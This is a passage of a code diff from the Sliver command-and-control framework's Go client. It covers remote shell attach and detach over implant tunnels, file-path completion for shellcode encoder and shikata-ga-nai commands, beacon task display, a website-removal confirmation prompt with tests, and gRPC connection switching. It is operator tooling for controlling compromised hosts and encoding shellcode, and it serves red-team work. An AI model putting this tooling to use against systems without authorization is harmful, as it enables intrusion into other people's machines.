cols = uint32(colsInt)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||||
|
Request: con.ActiveTarget.Request(cmd),
|
||||||
|
Path: shellPath,
|
||||||
|
EnablePTY: !noPty,
|
||||||
|
Rows: rows,
|
||||||
|
Cols: cols,
|
||||||
|
TunnelID: tunnel.ID,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
core.GetTunnels().Close(tunnel.ID)
|
||||||
|
return shellAttachFailed
|
||||||
|
}
|
||||||
|
if shell.Response != nil && shell.Response.Err != "" {
|
||||||
|
con.PrintErrorf("Error: %s\n", shell.Response.Err)
|
||||||
|
go backgroundCloseShell(con, tunnel.ID, session.ID)
|
||||||
|
return shellAttachFailed
|
||||||
|
}
|
||||||
|
|
||||||
|
path := shellPath
|
||||||
|
if path == "" {
|
||||||
|
path = shell.Path
|
||||||
|
}
|
||||||
|
enablePTY = !noPty
|
||||||
|
managed = &managedShell{
|
||||||
|
SessionID: session.ID,
|
||||||
|
SessionName: session.Name,
|
||||||
|
Path: path,
|
||||||
|
Pid: shell.Pid,
|
||||||
|
TunnelID: tunnel.ID,
|
||||||
|
EnablePTY: enablePTY,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
state: shellStateAttached,
|
||||||
|
tunnel: tunnel,
|
||||||
|
output: newSwapWriter(os.Stdout),
|
||||||
|
}
|
||||||
|
managed.ID = shells.Add(managed)
|
||||||
|
managed.startReader(func() {
|
||||||
|
shells.Remove(managed.ID)
|
||||||
|
})
|
||||||
|
|
||||||
|
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||||
|
con.PrintInfof("Started remote shell [%d] with pid %d\n\n", managed.ID, shell.Pid)
|
||||||
|
} else {
|
||||||
|
managed = existing
|
||||||
|
tunnel = managed.Tunnel()
|
||||||
|
enablePTY = managed.EnablePTY
|
||||||
|
managed.setState(shellStateAttached)
|
||||||
|
managed.SetOutput(os.Stdout)
|
||||||
|
con.PrintInfof("Attached shell [%d] (pid %d)\n\n", managed.ID, managed.Pid)
|
||||||
|
}
|
||||||
|
|
||||||
|
if enablePTY {
|
||||||
oldState, err = term.MakeRaw(0)
|
oldState, err = term.MakeRaw(0)
|
||||||
log.Printf("Saving terminal state: %v", oldState)
|
log.Printf("Saving terminal state: %v", oldState)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("Failed to save terminal state")
|
con.PrintErrorf("Failed to save terminal state\n")
|
||||||
return
|
managed.SetOutput(io.Discard)
|
||||||
|
managed.setState(shellStateDetached)
|
||||||
|
return shellAttachFailed
|
||||||
}
|
}
|
||||||
|
stateSaved = true
|
||||||
|
stopPtySize = startPtyResizeWatcher(con, cmd, tunnel.ID)
|
||||||
|
}
|
||||||
|
defer stopPtySize()
|
||||||
|
|
||||||
|
if stateSaved {
|
||||||
|
defer func() {
|
||||||
|
log.Printf("Restoring terminal state ...")
|
||||||
|
term.Restore(0, oldState)
|
||||||
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
stopPtyResize := func() {}
|
detached, _ := runAttachedIO(tunnel, con)
|
||||||
if !noPty {
|
if detached {
|
||||||
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
|
managed.SetOutput(io.Discard)
|
||||||
}
|
managed.setState(shellStateDetached)
|
||||||
defer stopPtyResize()
|
return shellDetached
|
||||||
|
|
||||||
log.Printf("Starting stdin/stdout shell ...")
|
|
||||||
go func() {
|
|
||||||
n, err := io.Copy(os.Stdout, tunnel)
|
|
||||||
log.Printf("Wrote %d bytes to stdout", n)
|
|
||||||
if err != nil {
|
|
||||||
con.PrintErrorf("Error writing to stdout: %s", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
log.Printf("Reading from stdin ...")
|
|
||||||
n, err := io.Copy(tunnel, newFilterReader(os.Stdin))
|
|
||||||
log.Printf("Read %d bytes from stdin", n)
|
|
||||||
if err != nil && err != io.EOF {
|
|
||||||
con.PrintErrorf("Error reading from stdin: %s\n", err)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !noPty {
|
managed.SetOutput(io.Discard)
|
||||||
log.Printf("Restoring terminal state ...")
|
managed.setState(shellStateClosing)
|
||||||
term.Restore(0, oldState)
|
shells.Remove(managed.ID)
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("Exit interactive")
|
// "exit" should return immediately; tunnel close/cleanup is best-effort in the background.
|
||||||
bufio.NewWriter(os.Stdout).Flush()
|
go backgroundCloseShell(con, tunnel.ID, session.ID)
|
||||||
|
|
||||||
|
return shellExited
|
||||||
|
}
|
||||||
|
|
||||||
|
func backgroundCloseShell(con *console.SliverClient, tunnelID uint64, sessionID string) {
|
||||||
|
err := closeShellTunnel(con, tunnelID, sessionID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Background close tunnel %d failed: %v", tunnelID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func closeShellTunnel(con *console.SliverClient, tunnelID uint64, sessionID string) error {
|
||||||
|
core.GetTunnels().Close(tunnelID)
|
||||||
|
if con == nil || con.Rpc == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err := con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
|
||||||
|
TunnelID: tunnelID,
|
||||||
|
SessionID: sessionID,
|
||||||
|
})
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func requestRemoteShellExit(tunnel *core.TunnelIO) {
|
||||||
|
if tunnel == nil || !tunnel.IsOpen() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, payload := range [][]byte{[]byte("exit\n"), []byte("logout\n")} {
|
||||||
|
func(data []byte) {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("Shell exit write skipped: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case tunnel.Send <- append([]byte(nil), data...):
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}(payload)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func sessionLabel(sessionID, sessionName string) string {
|
||||||
|
if sessionName == "" {
|
||||||
|
return sessionID
|
||||||
|
}
|
||||||
|
return sessionName + " (" + sessionID + ")"
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package shellcodeencoders
|
package shellcodeencoders
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -48,7 +49,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
|
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
|
||||||
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
|
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(shellcodeEncodersEncodeCmd, "output")
|
||||||
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalAnyCompletion(shellcodeEncodersEncodeCmd)
|
||||||
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
|
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
|
||||||
|
|
||||||
return []*cobra.Command{shellcodeEncodersCmd}
|
return []*cobra.Command{shellcodeEncodersCmd}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package sgn
|
package sgn
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -34,7 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
(*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(shikataGaNaiCmd, "save")
|
||||||
carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(shikataGaNaiCmd, 0)
|
||||||
|
|
||||||
return []*cobra.Command{shikataGaNaiCmd}
|
return []*cobra.Command{shikataGaNaiCmd}
|
||||||
}
|
}
|
||||||
@@ -190,7 +190,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se
|
|||||||
session.Username,
|
session.Username,
|
||||||
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
||||||
)
|
)
|
||||||
fmt.Fprintf(table, option+"\n")
|
fmt.Fprintln(table, option)
|
||||||
o := strings.ReplaceAll(option, "\t", "")
|
o := strings.ReplaceAll(option, "\t", "")
|
||||||
sessionOptionMap[o] = session
|
sessionOptionMap[o] = session
|
||||||
}
|
}
|
||||||
@@ -206,7 +206,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se
|
|||||||
beacon.Username,
|
beacon.Username,
|
||||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||||
)
|
)
|
||||||
fmt.Fprintf(table, option+"\n")
|
fmt.Fprintln(table, option)
|
||||||
o := strings.ReplaceAll(option, "\t", "")
|
o := strings.ReplaceAll(option, "\t", "")
|
||||||
beaconOptionMap[o] = beacon
|
beaconOptionMap[o] = beacon
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -126,7 +126,7 @@ func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*cli
|
|||||||
func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) {
|
func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
||||||
tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Beacon Task"), task.ID})
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{"State", emojiState(task.State) + " " + prettyState(strings.Title(task.State))})
|
tw.AppendRow(table.Row{"State", emojiState(task.State) + " " + prettyState(strings.Title(task.State))})
|
||||||
tw.AppendRow(table.Row{"Description", task.Description})
|
tw.AppendRow(table.Row{"Description", task.Description})
|
||||||
|
|||||||
@@ -93,13 +93,13 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *con
|
|||||||
func prettyState(state string) string {
|
func prettyState(state string) string {
|
||||||
switch strings.ToLower(state) {
|
switch strings.ToLower(state) {
|
||||||
case "pending":
|
case "pending":
|
||||||
return console.Bold + state + console.Normal
|
return console.StyleBold.Render(state)
|
||||||
case "sent":
|
case "sent":
|
||||||
return console.Bold + console.Orange + state + console.Normal
|
return console.StyleBoldOrange.Render(state)
|
||||||
case "completed":
|
case "completed":
|
||||||
return console.Bold + console.Green + state + console.Normal
|
return console.StyleBoldGreen.Render(state)
|
||||||
case "canceled":
|
case "canceled":
|
||||||
return console.Bold + console.Gray + state + console.Normal
|
return console.StyleBoldGray.Render(state)
|
||||||
default:
|
default:
|
||||||
return state
|
return state
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["proxy"] = completers.LocalProxyCompleter()
|
(*comp)["proxy"] = completers.LocalProxyCompleter()
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(updateCmd, "save")
|
||||||
|
|
||||||
versionCmd := &cobra.Command{
|
versionCmd := &cobra.Command{
|
||||||
Use: consts.VersionStr,
|
Use: consts.VersionStr,
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package wasm
|
package wasm
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -35,9 +36,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["file"] = carapace.ActionFiles()
|
(*comp)["file"] = carapace.ActionFiles()
|
||||||
(*comp)["dir"] = carapace.ActionDirectories()
|
(*comp)["dir"] = carapace.ActionDirectories()
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(wasmCmd, "file")
|
||||||
wasmComp := carapace.Gen(wasmCmd)
|
wasmComp := carapace.Gen(wasmCmd)
|
||||||
wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)"))
|
wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)"))
|
||||||
wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)"))
|
wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(wasmCmd, 0)
|
||||||
|
|
||||||
wasmLsCmd := &cobra.Command{
|
wasmLsCmd := &cobra.Command{
|
||||||
Use: consts.LsStr,
|
Use: consts.LsStr,
|
||||||
|
|||||||
@@ -278,7 +278,7 @@ func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
cacheLine = " (cached)"
|
cacheLine = " (cached)"
|
||||||
} else {
|
} else {
|
||||||
wasmRegistrationCache[idOf(con)] = append(wasmRegistrationCache[idOf(con)], extName)
|
wasmRegistrationCache[idOf(con)] = append(wasmRegistrationCache[idOf(con)], extName)
|
||||||
cacheLine = console.Bold + console.Green + " +++" + console.Normal
|
cacheLine = console.StyleBoldGreen.Render(" +++")
|
||||||
}
|
}
|
||||||
con.PrintInfof(" %s%s\n", extName, cacheLine)
|
con.PrintInfof(" %s%s\n", extName, cacheLine)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -66,14 +67,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
websitesCmd.AddCommand(websitesShowCmd)
|
websitesCmd.AddCommand(websitesShowCmd)
|
||||||
|
|
||||||
websitesRmCmd := &cobra.Command{
|
websitesRmCmd := &cobra.Command{
|
||||||
Use: consts.RmStr,
|
Use: consts.RmStr + " [name]",
|
||||||
Short: "Remove an entire website and all of its contents",
|
Short: "Remove an entire website and all of its contents",
|
||||||
Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}),
|
Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}),
|
||||||
|
Args: cobra.ExactArgs(1),
|
||||||
Run: func(cmd *cobra.Command, args []string) {
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
WebsiteRmCmd(cmd, con, args)
|
WebsiteRmCmd(cmd, con, args)
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
carapace.Gen(websitesRmCmd).PositionalCompletion(WebsiteNameCompleter(con))
|
carapace.Gen(websitesRmCmd).PositionalCompletion(WebsiteNameCompleter(con))
|
||||||
|
websitesRmCmd.ValidArgsFunction = func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
ws, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{})
|
||||||
|
if err != nil {
|
||||||
|
return nil, cobra.ShellCompDirectiveError
|
||||||
|
}
|
||||||
|
out := []string{}
|
||||||
|
for _, w := range ws.Websites {
|
||||||
|
if strings.HasPrefix(w.Name, toComplete) {
|
||||||
|
out = append(out, w.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, cobra.ShellCompDirectiveNoFileComp
|
||||||
|
}
|
||||||
websitesCmd.AddCommand(websitesRmCmd)
|
websitesCmd.AddCommand(websitesRmCmd)
|
||||||
|
|
||||||
websitesRmWebContentCmd := &cobra.Command{
|
websitesRmWebContentCmd := &cobra.Command{
|
||||||
@@ -113,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["content"] = carapace.ActionFiles().Tag("content directory/files")
|
(*comp)["content"] = carapace.ActionFiles().Tag("content directory/files")
|
||||||
(*comp)["website"] = WebsiteNameCompleter(con)
|
(*comp)["website"] = WebsiteNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(websitesContentCmd, "content")
|
||||||
websitesCmd.AddCommand(websitesContentCmd)
|
websitesCmd.AddCommand(websitesContentCmd)
|
||||||
|
|
||||||
websitesContentTypeCmd := &cobra.Command{
|
websitesContentTypeCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -20,8 +20,10 @@ package websites
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
)
|
)
|
||||||
@@ -32,12 +34,43 @@ func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
|||||||
if len(args) > 0 {
|
if len(args) > 0 {
|
||||||
name = args[0]
|
name = args[0]
|
||||||
}
|
}
|
||||||
|
if name == "" {
|
||||||
|
con.PrintErrorf("No website name specified\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
_, err := con.Rpc.WebsiteRemove(context.Background(), &clientpb.Website{
|
site, err := con.Rpc.Website(context.Background(), &clientpb.Website{
|
||||||
|
Name: name,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("Failed to fetch website %s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
confirm := false
|
||||||
|
_ = forms.Confirm(websiteRemoveConfirmationPrompt(name, len(site.Contents)), &confirm)
|
||||||
|
if !confirm {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = con.Rpc.WebsiteRemove(context.Background(), &clientpb.Website{
|
||||||
Name: name,
|
Name: name,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("Failed to remove website %s", err)
|
con.PrintErrorf("Failed to remove website %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
con.PrintInfof("%s\n", websiteRemoveSuccessMessage(name, len(site.Contents)))
|
||||||
|
}
|
||||||
|
|
||||||
|
func websiteRemoveConfirmationPrompt(name string, contentCount int) string {
|
||||||
|
contentLabel := "content item"
|
||||||
|
if contentCount != 1 {
|
||||||
|
contentLabel = "content items"
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("Delete website '%s' and %d %s?", name, contentCount, contentLabel)
|
||||||
|
}
|
||||||
|
|
||||||
|
func websiteRemoveSuccessMessage(name string, contentCount int) string {
|
||||||
|
return fmt.Sprintf("Removed %s and %d content items", name, contentCount)
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package websites
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestWebsiteRemoveConfirmationPrompt(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
websiteName string
|
||||||
|
contentCount int
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "zero content",
|
||||||
|
websiteName: "test",
|
||||||
|
contentCount: 0,
|
||||||
|
want: "Delete website 'test' and 0 content items?",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "single content",
|
||||||
|
websiteName: "test",
|
||||||
|
contentCount: 1,
|
||||||
|
want: "Delete website 'test' and 1 content item?",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "multiple content",
|
||||||
|
websiteName: "test",
|
||||||
|
contentCount: 2,
|
||||||
|
want: "Delete website 'test' and 2 content items?",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := websiteRemoveConfirmationPrompt(tt.websiteName, tt.contentCount)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Fatalf("unexpected prompt: got %q want %q", got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWebsiteRemoveSuccessMessage(t *testing.T) {
|
||||||
|
got := websiteRemoveSuccessMessage("test", 2)
|
||||||
|
want := "Removed test and 2 content items"
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("unexpected message: got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package wireguard
|
package wireguard
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config")
|
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(wgConfigCmd, "save")
|
||||||
|
|
||||||
return []*cobra.Command{wgConfigCmd}
|
return []*cobra.Command{wgConfigCmd}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,160 @@
|
|||||||
|
package console
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
|
"github.com/bishopfox/sliver/client/core"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
"google.golang.org/grpc/connectivity"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ConnectionDetails provides (optional) metadata about the active connection.
|
||||||
|
// In the sliver-client binary this is typically sourced from ~/.sliver-client/configs/*.
|
||||||
|
type ConnectionDetails struct {
|
||||||
|
ConfigKey string
|
||||||
|
Config *assets.ClientConfig
|
||||||
|
}
|
||||||
|
|
||||||
|
// CurrentConnection returns the current connection metadata, if any.
|
||||||
|
func (con *SliverClient) CurrentConnection() (*ConnectionDetails, connectivity.State, bool) {
|
||||||
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
|
||||||
|
if con.grpcConn == nil {
|
||||||
|
return con.connDetails, connectivity.Idle, false
|
||||||
|
}
|
||||||
|
return con.connDetails, con.grpcConn.GetState(), true
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetConnection swaps the active RPC connection, restarting streams (events/tunnels/logs).
|
||||||
|
// It is safe to call multiple times (e.g., on server switch).
|
||||||
|
func (con *SliverClient) SetConnection(rpc rpcpb.SliverRPCClient, grpcConn *grpc.ClientConn, details *ConnectionDetails) error {
|
||||||
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
|
||||||
|
con.detachConnectionLocked()
|
||||||
|
|
||||||
|
con.Rpc = rpc
|
||||||
|
con.grpcConn = grpcConn
|
||||||
|
con.connDetails = details
|
||||||
|
|
||||||
|
if con.Rpc == nil || con.grpcConn == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clear per-server state that should not be carried across connections.
|
||||||
|
con.EventListeners = &sync.Map{}
|
||||||
|
con.BeaconTaskCallbacksMutex.Lock()
|
||||||
|
con.BeaconTaskCallbacks = map[string]BeaconTaskCallback{}
|
||||||
|
con.BeaconTaskCallbacksMutex.Unlock()
|
||||||
|
con.ActiveTarget.Set(nil, nil)
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
con.connCancel = cancel
|
||||||
|
|
||||||
|
wg := &sync.WaitGroup{}
|
||||||
|
con.connWg = wg
|
||||||
|
|
||||||
|
wg.Add(1)
|
||||||
|
go func(wg *sync.WaitGroup) {
|
||||||
|
defer wg.Done()
|
||||||
|
con.startEventLoop(ctx)
|
||||||
|
}(wg)
|
||||||
|
|
||||||
|
wg.Add(1)
|
||||||
|
go func(wg *sync.WaitGroup) {
|
||||||
|
defer wg.Done()
|
||||||
|
if err := core.TunnelLoop(ctx, con.Rpc); err != nil && !errors.Is(err, context.Canceled) {
|
||||||
|
log.Printf("TunnelLoop error: %v", err)
|
||||||
|
}
|
||||||
|
}(wg)
|
||||||
|
|
||||||
|
wg.Add(1)
|
||||||
|
go func(wg *sync.WaitGroup, conn *grpc.ClientConn) {
|
||||||
|
defer wg.Done()
|
||||||
|
con.monitorConnectionLost(ctx, conn)
|
||||||
|
}(wg, con.grpcConn)
|
||||||
|
|
||||||
|
con.refreshRemoteLogStreamsLocked()
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseConnection stops background loops and closes the current gRPC connection.
|
||||||
|
func (con *SliverClient) CloseConnection() error {
|
||||||
|
con.connMu.Lock()
|
||||||
|
defer con.connMu.Unlock()
|
||||||
|
|
||||||
|
con.detachConnectionLocked()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) detachConnectionLocked() {
|
||||||
|
// Stop sending remote logs first so background io.Copy loops can't break.
|
||||||
|
con.setRemoteLogStreamsLocked(nil, nil)
|
||||||
|
|
||||||
|
cancel := con.connCancel
|
||||||
|
con.connCancel = nil
|
||||||
|
wg := con.connWg
|
||||||
|
con.connWg = &sync.WaitGroup{}
|
||||||
|
|
||||||
|
if cancel != nil {
|
||||||
|
cancel()
|
||||||
|
}
|
||||||
|
if wg != nil {
|
||||||
|
done := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(done)
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
case <-time.After(2 * time.Second):
|
||||||
|
// Best-effort; we don't want to deadlock a switch/exit.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if con.grpcConn != nil {
|
||||||
|
_ = con.grpcConn.Close()
|
||||||
|
con.grpcConn = nil
|
||||||
|
}
|
||||||
|
con.Rpc = nil
|
||||||
|
con.connDetails = nil
|
||||||
|
|
||||||
|
// Tear down any singleton network tooling that was tied to the previous server.
|
||||||
|
core.ResetClientState()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (con *SliverClient) monitorConnectionLost(ctx context.Context, conn *grpc.ClientConn) {
|
||||||
|
if conn == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
state := conn.GetState()
|
||||||
|
if state == connectivity.Idle {
|
||||||
|
